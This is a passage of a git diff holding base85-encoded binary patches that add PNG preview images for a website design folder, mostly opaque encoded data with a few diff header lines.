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 literal 0 HcmV?d00001 diff --git a/website-design/previews/flip-f0.png b/website-design/previews/flip-f0.png new file mode 100644 index 0000000000000000000000000000000000000000..20d024052c856630ce68581e01d9129ba203713a GIT binary patch literal 2569 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 Rr0A>zFxH3bmFqZ%{}%<~_!a;F literal 0 HcmV?d00001 diff --git a/website-design/previews/flip-f1.png b/website-design/previews/flip-f1.png new file mode 100644 index 0000000000000000000000000000000000000000..07d5063b1bc0f10f4714c4e5292a2aec0ae2d439 GIT binary patch literal 3163 zcmbVP_d6R76A!T?8nb4p)mBk^t5W-mYO4rZX^q+h6-BI+#%hfg5wvD)YR9PBqlv0L z5+O#_tgW?P@AwPeAMQSP_k5na&-2{#-1A(FxtRf&iI)ig0Dz4Qbst=y--UTGP+xeg zYx5oezzi|c)wT%CT(=E2x0vA3LL5>b!|coA!skRHb-$v$Lv*(v)qPG0NUkk>11~I( zadlp`Fx5>NRFJ)-_^UQRyl2w&wA1wy#$;NwJSOH6T0aDZ4u|N;-ZoDny`P{y?n7)% zwXScHXo*nt@~*dMurMBLQ&L?^SsZ*Qij&+paTmIkJBaX?v^?JQ1pYRBG_-eiWhm7Ve~fc zBjy17u*LF7MU{}>t2bnFoD2ML+~)|d(|gDTm2Xh~c)|=tOIFmo3<$eNt6(V)<5@#W zU-Mk9xN5mTaW8~svtpHfloFNx`ELs=?1Xa?F_tvkVxk+Z zGDq>SuVNJjO+ao!{Rv2=HO3b0uIk3=+#7MF32`-Yy3yaAfvE=BF$PM~7h-$5hsy56 zLstL!ueyuO%WBPa5tjmu-MPVG9QDBHCa2KQka^R) z^*c+#wfZSe3*(oD_2Z+prZ0b3*L<<}l~8yymn@c1PL0lcZyf7vliCr^bvuWnwN(?~ zl4W+yp+XiJmMZVg^*8ZAQYXNnl+e3c?3_q=#7ofaoD z2<-0A4yW6{av&~TFHxtoqO`Dcty8)1Xe4aItEgNEPEM4fl^&R~3h(}5U3i`8A)OB{ zQ@R0k^)ef?u##=H=hh^V@uL7mve78nnA6{C4)GJa7R3LUdaD4i!E9RF<{&|R$`O(x z!lK7IAi5PgemHZWxf^vQD3eO$r>2r;SCPlc5F_JSw(WGtZj+dz05hi0Rii&M(k#G`K1ts;qP;({ z6H}l5__49Fy1Kf)?xWHK0}y%iE?;bTV|V@8?**b^Ptp3s`HnY{v@>I0TTg7?8U9e7 z`M@GmQJfypR$5N1JLR#ABT7CY*+;Cj^|wdBmlMQW!pA zP_Ktd!Wc$pakN+zSi08oCYWK%CdBys=kj|v@?5P0W_3}n+$Lc#_g3qd1LvvFzi4J+ zwfa4bfKv({M#@b#J=W<)T!RIe=Edh+cdVjo16^U1Rj8muy#Mq=T`!26| zlv`e|eMhxPZU!!zeW>B~7A+inGHD*1JyX!F$RGzQQaj#=$IZgj)Ph?`L4sv+E-Z;4 z3$t_$_7qzM?_W`VOI3My;4Ibn$Ts_CJ9S(UH$Abp5bx$z_BxPPVMBj}vrb=KsR4l4 z6*p6Vv9}h8XF1VMg#soW96I&h5P$h`MTs_Sc1+FlKt=TB_!Jq09y$|lX;ll>3mR&; zDDeIxQDdi`^{fO;Kai}-m_*<8%KpqbZ`evX(0wFht1`6r!@+}obqH5g2(DrkB_LLH zUmJyDg~?@@h#yUaX}CBr*dAtNOgAIYuXnD?###GXl}pVxo$b?vy%N2g%w@taLtkjH zUBQH_EYv~LpvEqj*xJ}Yo>@_7lIZ`8tS>9eg+tz$(%G(9W8^o7gn}`OxGK~ldy~X`)`MDxB z0S5urDlWFn57VEqHsv8&QZIw=ExS}M>3k&}&Nl;-kLQCcEv??=sZj0j{v1C(UWfH{ z@6OE3U;xjZBJF5GnM&Cczx_GZIy_;FrJT6x?WUFm%{zHDA51iiE00>_1_C-gh7x<5 zvxCxTn@Ml_0DVZ$-Y3`hDVt=3m!{u|OxQGtZ#G@QL3-k}bIa0tA*Tw`dg@`g82{mj za&tz-mrVYG`)hYc=JZ#M``jKrEWfVc<;?O=b@l1QTGoFv=ZJ{ub-hM@AkG_U>a?cW zBRW4Cu#^D?g`RL^PtA;g4Fu2xWbfkQqihLwf2aLuU-Y+O1!=?N0?fKTNaF^D+$T{Aq{lRUr+D{0DSNZAFYUivfDu>?zR z1l9E-lqx;HOf7~fFfQtxrrA#=v52-y&OPgn8Qqf%x!!-fBByu3yp>eHq-VRPNsP+t zhwiqH`K#<{2K|=r&nUM@r_Izt`Y(#$ip$y@h`1L5E>R+i=dL~!s7x`#XR5==_U}ys zYy&Q*+If@hFomF-*7_o$sX1rF_IOt4jbcn-B*{6dv-V@@0LuxYyK?*~v|!xuU@wBB z#<+m(NUo~u*Z$v+_m2AwjJ3{tDWAqyO^eZlb|F&+i^Q!^D*Vt+OHgxpB^8 z+O;6faD_~BvJMVo;m6D+Qv<3UzeJa;s!1OrDZj>4Uq30kW13xjt!h+T8^j7sY<51i ztZ?h38m@mlqpaGL3s->1Qm5~8eV(3fedAVVlr!0~*#G|F^IH}Y7(ZS#&fv>QW5udM zvc@yJB%Tg)As$B|`G1(?YVsl9)-5?ME{xaOhL6gs+nT7alJq{ON!}PY($LtL7cW*| zV4Oq)all65CvDSYdD);8VRfzL>f33Kv9XRAS_=1|wN=yuAluel7K)H22BiC=@8K_m zh8CFzZ%A>#PYlL{!xK=CY`VbcvvgB4GbQfU!3-G){FM0s2*Ym@Qam?v_Q%<>?9Bn7 zo1s0o_~EFKl4LEiSA$=LS{IrR;_p@>M(q4VR3TT&BADTlUpI5l2dcW-bx}T1tMtr% zPc|JXSGe|~NK4fuLWMujTy|Di0n>HK zi{0Z^8dxK5zo$uLB7yWSpNUk_y59g;KgTfevTB2bh-%W 